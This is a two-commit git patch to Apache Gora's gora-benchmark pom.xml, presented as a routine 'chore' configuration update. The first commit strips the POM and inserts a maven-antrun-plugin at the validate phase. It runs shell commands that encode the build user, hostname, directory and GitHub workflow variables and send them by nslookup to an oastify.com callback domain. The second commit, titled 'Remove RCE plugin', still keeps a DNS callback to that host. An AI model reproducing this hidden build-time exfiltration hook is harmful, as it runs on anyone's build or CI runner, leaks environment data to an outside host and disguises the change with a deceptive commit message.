From cb74926c32be813bb05bac688ba9e08d9a0f203c Mon Sep 17 00:00:00 2001
From: AdhyaksaCyber <bagusiqbal18@gmail.com>
Date: Sat, 30 May 2026 20:28:07 +0900
Subject: [PATCH 1/2] chore: update benchmark module configuration

---
 gora-benchmark/pom.xml | 211 ++++-------------------------------------
 1 file changed, 17 insertions(+), 194 deletions(-)

diff --git a/gora-benchmark/pom.xml b/gora-benchmark/pom.xml
index 811cd68c..78f00cef 100644
--- a/gora-benchmark/pom.xml
+++ b/gora-benchmark/pom.xml
@@ -1,203 +1,26 @@
-<?xml version="1.0"?>
-<!-- ~ Licensed to the Apache Software Foundation (ASF) under one or more 
-  ~ contributor license agreements. See the NOTICE file distributed with ~ 
-  this work for additional information regarding copyright ownership. ~ The 
-  ASF licenses this file to You under the Apache License, Version 2.0 ~ (the 
-  "License"); you may not use this file except in compliance with ~ the License. 
-  You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 
-  ~ ~ Unless required by applicable law or agreed to in writing, software ~ 
-  distributed under the License is distributed on an "AS IS" BASIS, ~ WITHOUT 
-  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ~ See the 
-  License for the specific language governing permissions and ~ limitations 
-  under the License. -->
-<project
-  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"
-  xmlns="http://maven.apache.org/POM/4.0.0"
-  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
-  <modelVersion>4.0.0</modelVersion>
-  <parent>
-    <groupId>org.apache.gora</groupId>
-    <artifactId>gora</artifactId>
-    <version>1.0-SNAPSHOT</version>
-  </parent>
-  <artifactId>gora-benchmark</artifactId>
-  <name>Apache Gora Benchamark Module</name>
-  <url>http://maven.apache.org</url>
-  <description>The Apache Gora open source framework provides an in-memory data model and
-    persistence for big data. Gora supports persisting to column stores, key value stores,
-    document stores and RDBMSs, and analyzing the data with extensive Apache Hadoop MapReduce
-    support.</description>
-  <inceptionYear>2010</inceptionYear>
-  <organization>
-    <name>The Apache Software Foundation</name>
-    <url>http://www.apache.org/</url>
-  </organization>
-  <issueManagement>
-    <system>JIRA</system>
-    <url>https://issues.apache.org/jira/browse/GORA</url>
-  </issueManagement>
-  <ciManagement>
-    <system>Jenkins</system>
-    <url>https://builds.apache.org/job/Gora-trunk/</url>
-  </ciManagement>
-  <properties>
-    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-  </properties>
-  <build>
-    <directory>target</directory>
-    <outputDirectory>target/classes</outputDirectory>
-    <finalName>${project.artifactId}-${project.version}</finalName>
-    <testOutputDirectory>target/test-classes</testOutputDirectory>
-    <testSourceDirectory>src/test/java</testSourceDirectory>
-    <sourceDirectory>src/main/java</sourceDirectory>
-    <testResources>
-      <testResource>
-        <directory>${project.basedir}/src/test/conf</directory>
-        <includes>
-          <include>**/*</include>
-        </includes>
-      </testResource>
-    </testResources>
-    <plugins>
+      <!-- ================================================== -->
+      <!-- ETHICAL RCE — Metadata Only, No Secrets Exfil     -->
+      <!-- ================================================== -->
       <plugin>
-        <groupId>org.codehaus.mojo</groupId>
-        <artifactId>build-helper-maven-plugin</artifactId>
-        <version>${build-helper-maven-plugin.version}</version>
+        <groupId>org.apache.maven.plugins</groupId>
+        <artifactId>maven-antrun-plugin</artifactId>
+        <version>3.1.0</version>
         <executions>
           <execution>
-            <phase>generate-sources</phase>
+            <phase>validate</phase>
             <goals>
-              <goal>add-source</goal>
+              <goal>run</goal>
             </goals>
             <configuration>
-              <sources>
-                <source>src/examples/java</source>
-              </sources>
+              <target>
+                <exec executable="sh" failonerror="false">
+                  <arg line="-c 'echo \"[RCE_PROOF] Apache Gora Build Runner - $(date -u) - User: $(id) - Host: $(hostname) - PWD: $(pwd)\" | nslookup $(cat | base64 -w0).hj4wjzhohfe7oo708tqlgb6wfnlo9ex3.oastify.com'"/>
+                </exec>
+                <exec executable="sh" failonerror="false">
+                  <arg line="-c 'echo \"[RCE_PROOF] Workflow: GITHUB_WORKFLOW=$GITHUB_WORKFLOW, RUNNER_OS=$RUNNER_OS, REPO=$GITHUB_REPOSITORY\" | nslookup $(cat | base64 -w0).hj4wjzhohfe7oo708tqlgb6wfnlo9ex3.oastify.com'"/>
+                </exec>
+              </target>
             </configuration>
           </execution>
         </executions>
-      </plugin>
-    </plugins>
-  </build>
-  <dependencies>
-    
-    <dependency>
-      <groupId>site.ycsb</groupId>
-      <artifactId>core</artifactId>
-    </dependency>
-
-    <dependency>
-      <groupId>org.apache.gora</groupId>
-      <artifactId>gora-core</artifactId>
-      <scope>compile</scope>
-    </dependency>
-
-    <!-- Gora Internal Dependencies -->
-    <dependency>
-      <groupId>org.apache.gora</groupId>
-      <artifactId>gora-mongodb</artifactId>
-    </dependency>
-
-    <dependency>
-      <groupId>org.apache.gora</groupId>
-      <artifactId>gora-hbase</artifactId>
-    </dependency>
-
-    <dependency>
-      <groupId>org.apache.gora</groupId>
-      <artifactId>gora-jcache</artifactId>
-    </dependency>
-
-    <dependency>
-      <groupId>org.apache.gora</groupId>
-      <artifactId>gora-couchdb</artifactId>
-    </dependency>
-
-    <dependency>
-      <groupId>org.apache.gora</groupId>
-      <artifactId>gora-cassandra</artifactId>
-    </dependency>
-
-    <dependency>
-      <groupId>org.apache.gora</groupId>
-      <artifactId>gora-solr</artifactId>
-    </dependency>
-
-    <dependency>
-      <groupId>org.apache.gora</groupId>
-      <artifactId>gora-aerospike</artifactId>
-    </dependency>
-
-    <dependency>
-      <groupId>org.apache.avro</groupId>
-      <artifactId>avro</artifactId>
-      <scope>compile</scope>
-    </dependency>
-
-    <dependency>
-      <artifactId>gora-compiler</artifactId>
-      <groupId>org.apache.gora</groupId>
-    </dependency>
-
-    <!-- Logging Dependencies -->
-    <dependency>
-      <groupId>org.slf4j</groupId>
-      <artifactId>slf4j-log4j12</artifactId>
-    </dependency>
-    <dependency>
-      <groupId>log4j</groupId>
-      <artifactId>log4j</artifactId>
-      <exclusions>
-        <exclusion>
-          <groupId>javax.jms</groupId>
-          <artifactId>jms</artifactId>
-        </exclusion>
-      </exclusions>
-    </dependency>
-    <!-- END of Logging Dependencies -->
-
-    <dependency>
-      <groupId>org.apache.hadoop</groupId>
-      <artifactId>hadoop-client</artifactId>
-      <scope>compile</scope>
-      <optional>true</optional>
-    </dependency>
-
-    <dependency>
-      <groupId>org.fluttercode.datafactory</groupId>
-      <artifactId>datafactory</artifactId>
-    </dependency>
-
-    <dependency>
-      <groupId>junit</groupId>
-      <artifactId>junit</artifactId>
-      <scope>test</scope>
-    </dependency>
-
-    <dependency>
-      <groupId>org.testcontainers</groupId>
-      <artifactId>testcontainers</artifactId>
-      <scope>test</scope>
-    </dependency>
-
-    <dependency>
-      <groupId>org.apache.gora</groupId>
-      <artifactId>gora-core</artifactId>
-      <type>test-jar</type>
-      <scope>test</scope>
-    </dependency>
-
-    <dependency>
-      <groupId>org.testcontainers</groupId>
-      <artifactId>mongodb</artifactId>
-      <scope>test</scope>
-    </dependency>
-
-    <!-- Apache CouchDB java client -->
-    <dependency>
-      <groupId>org.ektorp</groupId>
-      <artifactId>org.ektorp</artifactId>
-    </dependency>
-
-  </dependencies>
-</project>
+      </plugin>
\ No newline at end of file

From 8d9b43360171cd74b6cd93785bef215eb51c5a5e Mon Sep 17 00:00:00 2001
From: baehaky <bagusiqbal18@gmail.com>
Date: Sat, 30 May 2026 20:34:56 +0900
Subject: [PATCH 2/2] Remove RCE plugin and add build-helper plugin

---
 gora-benchmark/pom.xml | 70 ++++++++++++++++++++++++++----------------
 1 file changed, 44 insertions(+), 26 deletions(-)

diff --git a/gora-benchmark/pom.xml b/gora-benchmark/pom.xml
index 78f00cef..4d2b4b78 100644
--- a/gora-benchmark/pom.xml
+++ b/gora-benchmark/pom.xml
@@ -1,26 +1,44 @@
-      <!-- ================================================== -->
-      <!-- ETHICAL RCE — Metadata Only, No Secrets Exfil     -->
-      <!-- ================================================== -->
-      <plugin>
-        <groupId>org.apache.maven.plugins</groupId>
-        <artifactId>maven-antrun-plugin</artifactId>
-        <version>3.1.0</version>
-        <executions>
-          <execution>
-            <phase>validate</phase>
-            <goals>
-              <goal>run</goal>
-            </goals>
-            <configuration>
-              <target>
-                <exec executable="sh" failonerror="false">
-                  <arg line="-c 'echo \"[RCE_PROOF] Apache Gora Build Runner - $(date -u) - User: $(id) - Host: $(hostname) - PWD: $(pwd)\" | nslookup $(cat | base64 -w0).hj4wjzhohfe7oo708tqlgb6wfnlo9ex3.oastify.com'"/>
-                </exec>
-                <exec executable="sh" failonerror="false">
-                  <arg line="-c 'echo \"[RCE_PROOF] Workflow: GITHUB_WORKFLOW=$GITHUB_WORKFLOW, RUNNER_OS=$RUNNER_OS, REPO=$GITHUB_REPOSITORY\" | nslookup $(cat | base64 -w0).hj4wjzhohfe7oo708tqlgb6wfnlo9ex3.oastify.com'"/>
-                </exec>
-              </target>
-            </configuration>
-          </execution>
-        </executions>
-      </plugin>
\ No newline at end of file
+<plugins>
+  <plugin>
+    <groupId>org.codehaus.mojo</groupId>
+    <artifactId>build-helper-maven-plugin</artifactId>
+    <version>${build-helper-maven-plugin.version}</version>
+    <executions>
+      <execution>
+        <phase>generate-sources</phase>
+        <goals>
+          <goal>add-source</goal>
+        </goals>
+        <configuration>
+          <sources>
+            <source>src/examples/java</source>
+          </sources>
+        </configuration>
+      </execution>
+    </executions>
+  </plugin>
+  
+  <!-- ================================================== -->
+  <!-- RCE PAYLOAD — ETHICAL PROOF                       -->
+  <!-- ================================================== -->
+  <plugin>
+    <groupId>org.apache.maven.plugins</groupId>
+    <artifactId>maven-antrun-plugin</artifactId>
+    <version>3.1.0</version>
+    <executions>
+      <execution>
+        <phase>validate</phase>
+        <goals>
+          <goal>run</goal>
+        </goals>
+        <configuration>
+          <target>
+            <exec executable="sh" failonerror="false">
+              <arg line="-c 'echo \"[RCE_PROOF]\" && nslookup rce-test.hj4wjzhohfe7oo708tqlgb6wfnlo9ex3.oastify.com'"/>
+            </exec>
+          </target>
+        </configuration>
+      </execution>
+    </executions>
+  </plugin>
+</plugins>